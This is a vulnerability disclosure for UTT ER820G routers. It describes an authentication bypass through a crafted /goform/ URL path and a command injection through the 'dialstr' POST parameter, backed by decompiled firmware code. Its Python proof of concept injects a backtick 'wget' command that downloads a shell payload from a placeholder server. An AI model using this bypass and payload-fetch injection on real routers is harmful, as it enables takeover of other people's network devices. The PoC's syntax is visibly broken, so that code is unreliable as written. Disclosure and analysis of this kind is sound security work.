

CVE Report - Authentication Bypass and Command Injection Vulnerability in UTT ER820G Routers

Vulnerability Title

Authentication Bypass and Command Injection Vulnerability in UTT ER820G Routers

Vulnerability Description

UTT ER820G devices have an authentication bypass and command injection vulnerability in the `sub_43AD04` function, which allows remote attackers to execute arbitrary commands via parameter `dialstr` passed to the binary through a POST request.

POC

```
import requests
import sys

def cmd_injection(url):
    cmd='dialstr=`wget http://{server_ip}:{server_port}/shell`'
    resp=requests.post(url,data=cmd,verify=False,timeout=3)

try:
    url=f'http://{target_ip}:
{target_port}/goform/formDia/goform/formWebAuthUserSubmit')
    try:
        cmd_injection(url)
        print('[%s] %s sys.argv[1]+ ' success!')
    except:
        print('[%s] %s sys.argv[1]+ ' failed!')
except:
    print('usage: python cmd_injection.py')
```

Cause Analysis

1. **authentication** :In the authentication logic of websSecurityHandler, URLs containing the substrings /goform/formWebAuthUserSubmit and /goform/formWebAuthOk can directly access the handler in websFormHandler. Since the handler being sought is the one corresponding to the second field, a URL like /goform/setSysAdm/goform/formWebAuthUserSubmit can be constructed to bypass authentication.

```
v14 = a1[45];
if ( strstr(v14, "/goform/formWebAuthUserSubmit") || strstr(v14, "/goform/formWebAuthOk") )
    goto LABEL_11;
if ( strstr(v14, "/images")
    || strstr(v14, "gif")
    || strstr(v14, "favicon.ico")
    || strstr(v14, "/WebAuth_message.asp")
    || strstr(v14, "/js")
    || strstr(v14, "/lang") )
{
    goto LABEL_2;
}
v15 = redirectWAPage(a1);
v12 = 1;
if ( v15 == 1 )
    return v12;
v16 = a1[45];
if ( strstr(v16, "/waUsers.asp") )
    goto LABEL_2;
if ( strstr(v16, "/goform/formWebAuthSelfHelpConfig") )
    goto LABEL_11;
if ( strstr(v16, "/poeUsers.asp") )
{
    LABEL_2:
    v11 = websDefaultHandler;
    v50 = a5;
    return v11((int)a1, a2, a3, a4, v50, a6);
}
if ( strstr(v16, "/goform/formPppoeSelfHelpConfig") )
{
    LABEL_11:
    v11 = (int ( __fastcall *) (int, int, int, int, int, char *)) websFormHandler;
    v50 = a5;
    return v11((int)a1, a2, a3, a4, v50, a6);
}
if ( isNoticeWeb(a1) == 1 || strstr(a1[45], "/Notice3.asp") )
    goto LABEL_2;
```

```

int __fastcall websFormHandler(int a1, int a2, int a3, int a4, int a5, int a6, int a7)
{
    int v8; // $v0
    const char *v9; // $s0
    _BYTE *v10; // $v0
    int v11; // $v0
    void (__fastcall *v12)(int, const char *, int, const char *); // $t9
    char v14; // [sp+18h] [-100h] BYREF
    _BYTE v15[255]; // [sp+19h] [-FFh] BYREF

    ++dword_4EA9D4;
    strncpy(&v14, a6, 254);
    v8 = strchr(v15, '/');
    if ( v8 )
    {
        v9 = (const char *)(v8 + 1);
        v10 = (_BYTE *)strchr(v8 + 1, '/');
        if ( v10 )
            *v10 = 0;
        v11 = (int)symLookup(dword_4E2400, v9);
        if ( v11 )
        {
            v12 = *(void (__fastcall **)(int, const char *, int, const char *))(v11 + 18);
            if ( v12 )
                v12(a1, v9, a7, v9);
        }
        else
        {
            websError(a1, 200, "Form %s is not defined", v9);
        }
    }
    else
    {
        websError(a1, 200, "Missing form name");
    }
    return 1;
}

```

2. **command injection:** In the `sub_43AD04` function, user-supplied data is obtained from the HTTP request parameter `dialstr` through the `websGetVar` function and stored in the `var` variable. The `var` is then directly passed to several `doSystem()` calls that execute shell commands, thus causing a command injection vulnerability.

```

Var = (_BYTE *)websGetVar((int)a1, "dialstr", (__int16)0);
if ( *Var )
{
    v3 = (const char *)strtok(Var, ",");
    if ( !v3 )
    {
        LABEL_11:
        sleep(3);
        return websRedirect(a1, "PPTPClientList.asp");
    }
    while ( 1 )
    {
        while ( 1 )
        {
            InstPointByName = ProfGetInstPointByName(29, v3);
            v5 = InstPointByName;
            if ( InstPointByName )
            {
                if ( *(_DWORD *) (InstPointByName + 16) )
                {
                    if ( *(_DWORD *) (InstPointByName + 152) != 1 )
                    {
                        sprintf(v9, "/var/run/pptp_%slink.status", v3);
                        read_file(v9, (int)v10);
                        if ( strcmp(v10, "1") )
                            break;
                    }
                }
            }
        }
        v3 = (const char *)strtok(0, ",");
        if ( !v3 )
            goto LABEL_11;
    }
    if ( *(int *) (nvramProfile + 1345516) <= 0 )
        break;
    sprintf(v11, "ps |grep \"pppd file /etc/options.pptp_%s $\"|sed \"s/^ */|g\"|sed \"s/ .*$/g\"", v3);
    doSystem("kill -9 %s >/dev/null 2>&1", v11);
    doSystem("pppd file /etc/options.pptp_%s &", v3);
}

```